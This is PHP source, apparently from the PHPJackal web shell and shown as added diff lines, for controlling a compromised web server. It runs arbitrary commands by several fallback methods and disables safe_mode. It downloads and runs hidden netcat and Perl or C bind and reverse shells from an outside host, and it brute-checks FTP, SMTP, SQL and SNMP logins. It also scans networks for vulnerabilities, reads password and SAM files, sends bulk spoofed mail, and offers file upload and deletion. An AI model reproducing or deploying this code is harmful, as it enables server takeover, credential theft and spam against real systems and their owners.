+elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} +elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);} +elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command); +elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command); +elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command); +elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws); +elseif(extension_loaded('perl'))$exec=perlshelL($command); +return $exec; +} +function getiT($get){ +$fo=strtolower(ini_get('allow_url_fopen')); +$ui=strtolower(ini_get('allow_url_include')); +if($fo || $fo=='on')$con=file_get_contents($get); +elseif($ui || $ui=='on'){ +ob_start(); +include($get); +$con=ob_get_contents(); +ob_end_clean(); +} +else{ +$u=parse_url($get); +$host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port']; +$url=fsockopen($host,$port,$en,$es,12); +fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +return $con; +} +function downloadiT($get,$put){ +$con=getiT($get); +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function winshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +win_shell_execute('cmd.exe','',"/C $command >\"$name\""); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function ffishelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); +$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0); +while(!file_exists($name))sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function srvshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$n=uniqid('NJ'); +$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; +win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); +win32_start_service($n); +win32_stop_service($n); +win32_delete_service($n); +while(!file_exists($name))sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function get_mimE($filename){ +global $windows; +preg_match("/\.(.*?)$/", $filename, $m); +switch(strtolower($m[1])){ +case "js": return "application/javascript"; +case "json": return "application/json"; +case "jpg": case "jpeg": case "jpe": return "image/jpg"; +case "png": case "gif": case "bmp": return "image/".strtolower($m[1]); +case "css": return "text/css"; +case "xml": return "application/xml"; +case "html": case "htm": case "php": return "text/html"; +default: +if(function_exists("mime_content_type")){$m = mime_content_type($filename);}elseif(function_exists("finfo_open")){ +$finfo = finfo_open(FILEINFO_MIME); +$m = finfo_file($finfo, $filename); +finfo_close($finfo); +}else{ +if($windows)return "application/octet-stream"; +if(strstr($_SERVER[HTTP_USER_AGENT], "Macintosh")){$m = trim(shelL('file -b --mime '.$filename)); +}else{ +$m = trim(shelL('file -bi '.$filename)); +} +} +$m = split(";", $m); +return trim($m[0]); +} +} +function comshelL($command,$ws){ +$exec=$ws->exec("cmd.exe /c $command"); +$so=$exec->StdOut(); +return $so->ReadAll(); +} +function perlshelL($command){ +$perl=new perl(); +ob_start(); +$perl->eval("system('$command')"); +$exec=ob_get_contents(); +ob_end_clean(); +return $exec; +} +function smtpchecK($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function mysqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mysql_connect')){ +$l=mysql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function mssqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mssql_connect')){ +$l=mssql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function checksmtP($host,$timeout){ +$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com'; +$sock=fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: \r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function replace_stR($s,$h){ +$ret=$h; +foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret); +return $ret; +} +function check_urL($url,$method,$search='200',$timeout=3){ +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=fsockopen($host,$port,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;} +while(!feof($sock)){ +$res=fgets($sock); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=uniqid('NJ'); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n; +$sock=fsockopen("udp://$ip",161); +if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout); +fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +if($res != '')return 1;else return 0; +} +$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF'; +if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');} +function brshelL(){ +global $windows,$hcwd; +echo '

                            '; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://h.ackerz.com/PHPJackal/br'; +$error="Can not make backdoor file, go to writeable folder."; +$n=uniqid('NJ_'); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$c=($_REQUEST['C'])?1:0; +if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winbind.p",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $port &"); +echo "Backdoor is waiting for you on $port.
                            "; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winrc.p",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error;else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &"); +} +} +echo 'Done!';} +else{ +echo '
                            '.$hcwd.'
                            '.$hcwd.'
                            '; +} +} +function showimagE($img){ +echo '
                            Back';} +function editoR($file=''){ +global $hcwd,$cwd; +if(!empty($_REQUEST['filE']))$file=$_REQUEST['filE']; +if($file=='')$file=$cwd;else $file=realpath($file); +$data=""; +if(is_file($file)){ +if(!is_readable($file)){echo "File is not readable";} +if(!is_writeable($file)){echo "File is not writeable";} +$data=file_get_contents($file); +} +echo '

                            '.$hcwd.'
                            '.$hcwd.'
                            '; +} +function webshelL(){ +global $windows,$hcwd,$cwd; +if($windows){ +$alias=""; +} +else{ +$alias=""; +if(is_dir('/etc/valiases'))$alias.="";if(is_dir('/etc/vdomainaliases'))$alias.="";if(file_exists('/var/cpanel/accounting.log'))$alias.=""; +if(is_dir('/var/spool/mail/'))$alias.=""; +} +echo '


                            '; +if(!empty($_REQUEST['cmd'])){ +echo '
                            ';echo shelL($_REQUEST['cmd']);echo'
                            '; +} +echo '

                            '.$hcwd.'
                            '.$hcwd.'
                            '; +} +function maileR(){ +global $hcwd,$cwd; +echo '

                            '; +if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +$to= explode("\n",$_REQUEST['to']); +$headers="From: $from"; +if(!empty($_REQUEST['attach'])){ +if(is_readable($_REQUEST['attach'])){ +$data=file_get_contents($_REQUEST['attach']); +$mime_boundary = "----=".md5(time());; +$headers .= "\nMIME-Version: 1.0\n". +"Content-Type: multipart/mixed; boundary=\"$mime_boundary\""; +$data = chunk_split(base64_encode($data)); +$type=get_mimE($_REQUEST['attach']); +$body = +"$mime_boundary\n". +"Content-Type: text/html; charset=\"iso-8859-1\"\n". +"Content-Transfer-Encoding: 7bit\n\n". +$body."\n". +"$mime_boundary\n". +"Content-Type: $type; name=\"".basename($_REQUEST['attach'])."\"\n". +"Content-Disposition: attachment; filename=\"".basename($_REQUEST['attach'])."\"\n". +"Content-Transfer-Encoding: Base64\n\n". +$data."\n". +"$mime_boundary--\n"; +} +} +$_SERVER['PHP_SELF'] = "/"; +$_SERVER['REMOTE_ADDR'] = '127.0.0.1'; +$_SERVER['SERVER_NAME'] = 'google.com'; +echo "
                            ";
                            +foreach ($to as $target){
                            +$info=explode('@',$target);
                            +$rsubject=str_replace('[EMAIL]',$target,$subject);$rsubject=str_replace('[USER]',$info[0],$subject);$rsubject=str_replace('[DOMAIN]',$info[1],$subject);
                            +$rbody=str_replace('[EMAIL]',$target,$body);
                            +$rbody=str_replace('[USER]',$info[0],$rbody);
                            +$rbody=str_replace('[DOMAIN]',$info[1],$rbody);
                            +for($i=0;$i<(int)$_REQUEST['count'];$i++){
                            +$target=trim($target);
                            +if(mail($target,$rsubject,$rbody,$headers))echo "Email to ".htmlspecialchars($target). " sent!\r\n";else echo "Error: Can not send mail to ".htmlspecialchars($target)."!\r\n";
                            +}
                            +}
                            +echo "

                            "; +}else{ +echo '
                            '.ini_get('SMTP').':'.ini_get('smtp_port').'
                            +
                            +
                            '.$hcwd.'
                            '; +} +} +function scanneR(){ +global $hcwd; +echo '

                            '; +if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1'; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0; +echo 'Port scanning started against '.htmlspecialchars($target).':
                            '; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if(checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=''; +if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')'; +echo "$nu) $i $ser (Connect) [TCP]
                            "; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]
                            ";} +} +$time=time()-$start; +echo "Done! ($time seconds)
                            "; +} +elseif(!empty($_REQUEST['securityscanner'])){ +echo ''; +$start=time(); +$from=$_REQUEST['from']; +$to=$_REQUEST['to']; +$fIP=ip2long($from); +$tIP=ip2long($to); +if($fIP>$tIP){ +echo 'Invalid range;'; +return 0; +} +$timeout=(int)$_REQUEST['timeout']; +if(!empty($_REQUEST['httpscanner'])){ +echo 'Loading webserver bug list...'; +$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL'); +$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo 'Done! scanning started.

                            ';}else echo 'Failed!!! scanning started without webserver security testing...

                            '; +}else{$fr=htmlspecialchars($from);echo "Scanning $from-$to:

                            ";} +for($i=$fIP;$i<=$tIP;$i++){ +$output=0; +$ip=long2ip($i); +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]
                            "; $output=1;} +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port; +$open=$ser=''; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if($scan){ +$ser=''; +if($ser=getservbyport($po,'tcp'))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open
                            ";$output=1;} +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo 'Unknow'; +else echo $res; +echo '
                            '; +$output=1; +} +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
                            ";} +} +elseif(strstr($page,'@ADMINDIRS')) +foreach($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
                            ";} +} +elseif(strstr($page,'@USERS')) +foreach($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
                            ";} +} +elseif(strstr($page,'@NUKE')) +foreach($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
                            ";} +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
                            ";} +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.
                            ";$output=1;} +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=''; +if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com; +foreach($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms.=" $v "; +} +if($coms!=''){echo "$ip) SNMP FOUND: $coms
                            ";$output=1;} +} +} +if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +if(ftpchecK($ip,$user,$pass,$timeout)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (Connect)
                            ";} +} +} +} +} +$time=time()-$start; +echo "Done! ($time seconds)
                            "; +if(!empty($buglist))unlink($buglist); +} +elseif(!empty($_REQUEST['directoryscanner'])){ +$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1']; +echo "
                            Scanning started...\n";
                            +for($i=0;$i$adr\n";}
                            +}else{
                            +$adr="$d.$host";
                            +$ip=gethostbyname($adr);
                            +if($ip!=$adr){echo "Subdomain Found: $adr($ip)\n";}
                            +}
                            +}
                            +echo 'Done!
                            '; +} +else{ +$chbox=(extension_loaded('sockets'))?"
                            • TCP
                            • UDP
                            ":''; +echo '
                            • '.$chbox.'
                            '.$hcwd.'

                            '.$hcwd.'
                            '; +$host=substr($host,0,strrpos($host,".")); +echo '
                            '.$hcwd.'
                            '; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$cwd,$safemode; +$basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF'; +if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER']; +$osver=$tsize=$fsize=''; +$ds=implode(' ',$disablefunctions); +$Clock='http://h.ackerz.com/PHPJackal/images/clock/'; +if($windows){ +$osver=shelL('ver'); +if(!empty($osver))$osver="($osver)"; +$sysroot=shelL("echo %systemroot%"); +if(empty($sysroot))$sysroot=$_SERVER['SystemRoot']; +if(empty($sysroot))$sysroot = getenv('windir'); +if(empty($sysroot))$sysroot = 'Not Found'; +if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%'); +for($i=66;$i<=90;$i++){ +$drive=chr($i).':\\'; +if(disk_total_space($drive)){ +$fsize+=disk_free_space($drive); +$tsize+=disk_total_space($drive); +} +} +}else{ +$ap=shelL('whereis apache'); +if(empty($CPU))$CPU=shelL('grep "model name" /proc/cpuinfo | cut -d ":" -f2'); +if($CPU)$CPU=nl2br($CPU); +if(!$ap)$ap='Unknow'; +$fsize=disk_free_space('/'); +$tsize=disk_total_space('/'); +} +$diskper=floor(($fsize/$tsize)*100); +$diskcolor='; background: '; +if($diskper<33)$diskcolor.='green';elseif($diskper<66 && $diskper>33)$diskcolor.='orange';else $diskcolor.='red'; +$disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize); +$diskspace=($tsize)?'
                            ':'Unknown'; +if(empty($CPU))$CPU='Unknow'; +$os=php_uname(); +$osn=php_uname('s'); +if(!$windows){ +$ker=php_uname('r'); +$o=($osn=='Linux')?'Linux+Kernel':$osn; +$os='http://www.exploit-db.com/search/?action=search&filter_platform=16" target="_blank">'.$osn.''; +$os='http://www.exploit-db.com/search/?action=search&filter_description=kernel&filter_platform=16" target="_blank">'.$ker.''; +$inpa=':'; +}else{ +$sam=$sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os='http://www.exploit-db.com/search/?action=search&filter_description=privilege+escalation&filter_platform=45" target="_blank">'.$osn.''; +} +$cuser=get_current_user(); +if(!$cuser)$cuser='Unknow'; +echo '

                            '; if(!empty($_SERVER['SERVER_ADDR']))echo ' ';echo ''.$_SERVER['HTTP_HOST'].'';if(!empty($_SERVER['SERVER_ADDR'])){ echo '('.$_SERVER['SERVER_ADDR'].')';}echo '
                            '; +if($windows){echo '
                            ';if(is_readable(($sam)))echo 'Readable'; else echo 'Not readable';echo '
                            ';} +else +{ +echo ' +
                            '.getmyuid().' - '.getmygid().'
                            ';if(is_readable('/etc/passwd'))echo 'Readable';else echo 'Not readable';echo '
                            ';$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "Readable";else echo 'Not readable';}else echo 'Not found';echo ')
                            '; +} +echo '
                            +';if (function_exists('zend_version')) echo "".zend_version().'';else echo 'Not Found';echo ' +
                            + +
                            +'.str_replace($inpa,' ',DEFAULT_INCLUDE_PATH).' +
                            +
                            +
                            + +
                            +';$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "[$v $i] ";}echo ' +
                            +
                            +
                            + +
                            +';if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo ' +
                            +
                            +
                            + +
                            +'.$safemode.' +
                            +
                            +
                            + +
                            +'.$basedir.' +
                            +
                            +
                            + +
                            +';$sq=''; +if(function_exists('mysql_connect'))$sq= 'MySQL '; +if(function_exists('mssql_connect'))$sq.= 'MSSQL '; +if(function_exists('ora_logon'))$sq.= 'Oracle '; +if(function_exists('sqlite_open'))$sq.= 'SQLite '; +if(function_exists('pg_connect')) $sq.= 'PostgreSQL '; +if(function_exists('msql_connect')) $sq.= 'mSQL '; +if(function_exists('mysqli_connect'))$sq.= 'MySQLi '; +if(function_exists('ovrimos_connect')) $sq.= 'Ovrimos SQL '; +if ($sq=='') $sq= 'Nothing'; +echo $sq.' +
                            +
                            +
                            + +
                            +
                            + +
                            +
                            + +
                            +
                            +
                            + +';} +function checksuM($file){ +echo "
                            MD5: ".md5_file($file)."\r\nSHA1: ".sha1_file($file)."
                            "; +} +function listdiR($cwd,$task){ +$c=getcwd(); +$dh=opendir($cwd); +while($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr=$cwd.DIRECTORY_SEPARATOR.$cont; +switch($task){ +case '0':if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";break; +case '1':if(is_writeable($adr)){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[$adr]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[$adr]\n";break; +case '4':if(is_file($adr))echo "[$adr]\n";break; +case '5':if(is_dir($adr))echo "[$adr]\n";break; +case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; +case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;} +} +if(is_dir($adr))listdiR($adr,$task); +} +} +if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}} +if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}} +function filemanageR(){ +global $windows,$cwd,$hcwd; +echo '

                            '; +if(!empty($_REQUEST['task'])){ +if(!empty($_REQUEST['search']))$_REQUEST['task']=7; +if(!empty($_REQUEST['re']))$_REQUEST['task']=6; +echo '
                            ';
                            +listdiR($cwd,$_REQUEST['task']);
                            +echo '
                            '; +}else{ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title='Destination'; +$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis=(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad=$_REQUEST['rN']; +$title='New name'; +$dis='Rename'; +} +if(empty($_REQUEST['deS'])){ +echo '
                            '.$title.':
                            '.$hcwd.'
                            '; +}else{ +if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if(!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);} +if(!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "Uploaded! File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "
                            "; +} +$select="'; +$file=$dir=$link=array(); +if($dirhandle=opendir($cwd)){ +while($cont=readdir($dirhandle)){ +if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont; +elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo ''; +$i=0; +foreach($dir as $dn){ +echo '"; +if($owner)$own="".$owner['name'].''; +echo ' '; +if(strlen($dn)>29)echo substr($dn,0,26).'...';else echo $dn;echo ''; +echo ""; +echo ""; +echo ""; +echo "'; +echo ""; +echo "'; +} +foreach($file as $fn){ +echo '"; +$mdate=date('Y/m/d H:i:s',filemtime($fn)); +$adate=date('Y/m/d H:i:s',fileatime($fn)); +if($owner)$own="".$owner['name'].''; +$size=showsizE(filesize($fn)); +$type= end(explode(".", $fn)); +if(!in_array($type,$ext))$type='file'; +echo ' '; +if(strlen($fn)>29)echo substr($fn,0,26).'...';else echo $fn;echo ''; +echo ""; +echo ""; +echo ""; +echo ""; +echo ""; +echo "'; +} +foreach($link as $ln){ +$own='Unknow'; +$owner=posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open"; +$mdate=date('Y/m/d H:i:s',filemtime($ln)); +$adate=date('Y/m/d H:i:s',fileatime($ln)); +if($owner)$own="".$owner['name'].''; +echo ''; +echo ""; +echo ""; +echo ""; +echo ""; +echo ""; +echo "'; +} +} +$dc=count($dir)-2; +if($dc==-2)$dc=0; +$fc=count($file); +$lc=count($link); +$total=$dc+$fc+$lc; +$min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB'; +echo ' + +
                            NameOwnerModification timeLast accessPermissionSizeActions
